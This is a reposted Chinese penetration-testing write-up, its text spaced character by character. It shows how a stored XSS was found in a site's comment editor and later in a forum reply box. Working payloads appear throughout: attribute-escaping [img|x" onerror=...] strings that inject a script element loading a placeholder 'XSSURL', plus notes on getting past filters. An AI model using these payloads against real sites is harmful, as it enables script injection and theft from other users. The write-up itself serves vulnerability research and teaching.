搜索

[18503] 2019-12-08_漏洞挖掘一处图片引用功能导致的XSS

文档创建者：s7ckTeam
浏览次数：15
最后更新：2025-01-18
2019-12-08_漏洞挖掘一处图片引用功能导致的XSS 漏 洞 挖 掘   |   一 处 图 片 引 用 功 能 导 致 的 X S S 原 创   S e 7 n s e c   H A C K 学 习 呀   2 0 1 9 - 1 2 - 0 8 山 重 水 复 疑 无 路 山 重 水 复 疑 无 路 漏 洞 点 ： 站 点 产 品 评 论 处 初 步 测 试 一 开 始 尝 试 X S S ， 发 现 程 序 有 过 滤 ， 提 交 均 显 示 T a g s   a r e   n o t   p e r m i t t e d ， 最 后 测 出 来 的 是 过 滤   <   ， 不 过 滤   > 因 为 提 示 速 度 比 较 快 ， 猜 测 前 端 有 一 层 检 测 。 尝 试 绕 过 前 端 检 测 ， b u r p 拦 截 正 常 提 交 的 内 容 ， 替 换 x s s   p a y l o a d 后 发 送 ， 发 现 会 自 动 跳 转 回 首 页 ， 由 此 发 现 程 序 后 端 也 有 内 容 检 测 ， 这 里 直 接 x s s 暂 时 行 不 通 。 查 看 编 辑 器 的 其 他 功 能 ： 图 片 上 传 ： 可 上 传 a s p x （ 其 他 可 能 解 析 后 缀 均 已 尝 试 ） ， 不 能 解 析 并 跳 转 至 首 页 。 可 上 传 h t m l 并 解 析 ， 这 种 方 式 构 造 的 x s s 通 常 需 要 主 动 攻 击 ， 且 攻 击 时 易 被 管 理 员 察 觉 到 异 常 ， 暂 不 考 虑 。 表 情 功 能 ： 没 什 么 可 利 用 的 。 柳 暗 花 明 又 一 村 柳 暗 花 明 又 一 村 当 看 到 编 辑 器 提 示 的   i m g   外 部 图 片 引 用 方 式 时 引 起 了 我 的 注 意 ， 这 里 感 觉 可 以 操 作 一 下 ：
正 常 测 试 先 来 看 下 正 常 引 用 方 式 时 前 端 的 显 示 ， 链 接 被 带 入 到 s r c 中 （ l o g o 前 文 字 涉 及 域 名 ， 打 码 ） ： 带 入 p a y l o a d 把 x s s   p a y l o a d   放 在 链 接 的 位 置 再 看 一 下 ： 提 交 后 审 查 元 素 发 现 为 如 下 显 示 ： [ i m g | X S S U R L | x x x x x   L o g o ] 常 规 的 p a y l o a d ： < i m g   s r c = x   o n e r r o r = s = c r e a t e E l e m e n t ( ' s c r i p t ' ) ; b o d y . a p p e n d C h i l d ( s ) ; s . s r c = ' X S S U R L ' ; > 构 造 的 p a y l o a d ： [ i m g | x   o n e r r o r = s = c r e a t e E l e m e n t ( ' s c r i p t ' ) ; b o d y . a p p e n d C h i l d ( s ) ; s . s r c = ' X S S U R L ' ; | x x x x x   L o g o ]
尝 试 闭 合 尝 试 闭 合   x   处 的 双 引 号 ， 让   o n e r r o r   逃 逸 出 来 ： 这 里 提 交 后 发 现 p a y l o a d 并 没 有 执 行 成 功 ， 仔 细 看 发 现 程 序 输 出 时 分 别 在   o n e r r o r =   和   ;   后 面 加 了 双 引 号 。 闭 合 成 功 直 接 给 个   >   让 它 闭 合 ， 虽 然 成 功 加 载 了 ， 但 是 页 面 显 示 会 有 错 误 ， 这 样 十 分 容 易 被 发 现 倪 端 ， 不 够 完 美 。 [ i m g | x "   o n e r r o r = s = c r e a t e E l e m e n t ( ' s c r i p t ' ) ; b o d y . a p p e n d C h i l d ( s ) ; s . s r c = ' X S S U R L ' ; | h e l l o ] [ i m g | x "   o n e r r o r = s = c r e a t e E l e m e n t ( ' s c r i p t ' ) ; b o d y . a p p e n d C h i l d ( s ) ; s . s r c = ' X S S U R L ' ; > | h e l l o ]
换 个 思 路 通 过 闭 合 掉   ;   后 面 的 双 引 号 ， 显 示 效 果 如 下 ： 最 终 在 没 有 任 何 错 误 内 容 显 示 的 情 况 下 成 功 执 行 了 x s s   p a y l o a d ： 看 到 这 里 可 能 有 人 就 会 想 ， 这 种 案 例 触 发 的 x s s 是 不 是 很 少 存 在 ， 因 为 毕 竟 不 是 每 个 编 辑 器 都 用 这 种 图 片 外 链 引 用 方 式 ， 那 么 请 继 续 看 下 面 。 灵 活 运 用 灵 活 运 用 这 几 天 在 搞 一 个 g a n g d u 的 论 坛 ， 在 回 复 功 能 处 ， 又 遇 到 了 同 样 的 问 题 。 本 来 这 个 功 能 应 该 只 能 放 图 片 链 接 的 ， 但 是 这 里 插 入 的 链 接 格 式 和 内 容 并 没 有 做 校 验 。 [ i m g | x "   o n e r r o r = s = c r e a t e E l e m e n t ( ' s c r i p t ' ) ; b o d y . a p p e n d C h i l d ( s ) ; s . s r c = ' X S S U R L ' ; " | h e l l o ]
这 里 直 接 把 p a y l o a d 放 进 去 ， 看 下 前 端 显 示 同 样 的 思 路 ， 这 里 直 接 闭 合 就 好 了 成 功 加 载 p a y l o a d x   o n e r r o r = s = c r e a t e E l e m e n t ( ' s c r i p t ' ) ; b o d y . a p p e n d C h i l d ( s ) ; s . s r c = ' X S S U R L ' ; x "   o n e r r o r = " s = c r e a t e E l e m e n t ( ' s c r i p t ' ) ; b o d y . a p p e n d C h i l d ( s ) ; s . s r c = ' X S S U R L ' ;
平 时 渗 透 的 时 候 ， 看 到 功 能 点 不 要 上 去 就 是 蛮 干 ， 先 预 想 下 这 个 功 能 是 大 概 怎 么 实 现 的 ， 然 后 思 路 猥 琐 一 点 ， 心 细 一 点 ， 往 往 会 有 意 想 不 到 的 收 获 的 ， 就 写 到 这 里 吧 。 原 创 投 稿 作 者 :   S e 7 n s e c
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理